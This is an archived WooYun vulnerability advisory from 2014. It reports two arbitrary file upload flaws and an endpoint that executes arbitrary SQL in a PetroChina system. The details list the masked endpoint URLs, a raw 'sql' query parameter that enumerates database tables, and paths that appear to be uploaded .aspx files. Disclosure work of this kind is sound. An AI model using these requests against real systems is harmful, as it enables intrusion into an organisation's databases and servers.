中石油某系统任意文件上传(两处)+任意sql命令执行

漏洞概要 关注数(2) 关注此漏洞

缺陷编号： WooYun-2014-83781

漏洞标题： 中石油某系统任意文件上传(两处)+任意sql命令执行

相关厂商： 中国石油

漏洞作者： 路人甲

提交时间： 2014-11-21 12:44

公开时间： 2015-01-03 12:46

漏洞类型： 文件上传导致任意代码执行

危害等级： 高

自评Rank： 20

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 任意文件上传 文件上传漏洞 sql命令执行 任意文件上传

0人收藏

漏洞详情

披露状态：

2014-11-21： 细节已通知厂商并且等待厂商处理中
2014-11-24： 厂商已经确认，细节仅向厂商公开
2014-12-04： 细节向核心白帽子及相关领域专家公开
2014-12-14： 细节向普通白帽子公开
2014-12-24： 细节向实习白帽子公开
2015-01-03： 细节向公众公开

简要描述：

中国石油某系统存在任意文件上传，同时可执行任意sql命令
最近看到很多人提交中石油 我也来凑热闹

详细说明：

http://**.**.**.**/csccpmp/Handler/GetCommon.ashx

sql=SELECT  top 10  name from sysobjects where xtype='u'

http://**.**.**.**/csccpmp/TTUploadPictureDialog.aspx

http://**.**.**.**/csccpmp/Doc/XML/help2014111820111349.aspx

http://**.**.**.**/csccpmp/TTUploadFileWithDialog.aspx

http://**.**.**.**/csccpmp/Doc/XML/help2014111820110669.aspx

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应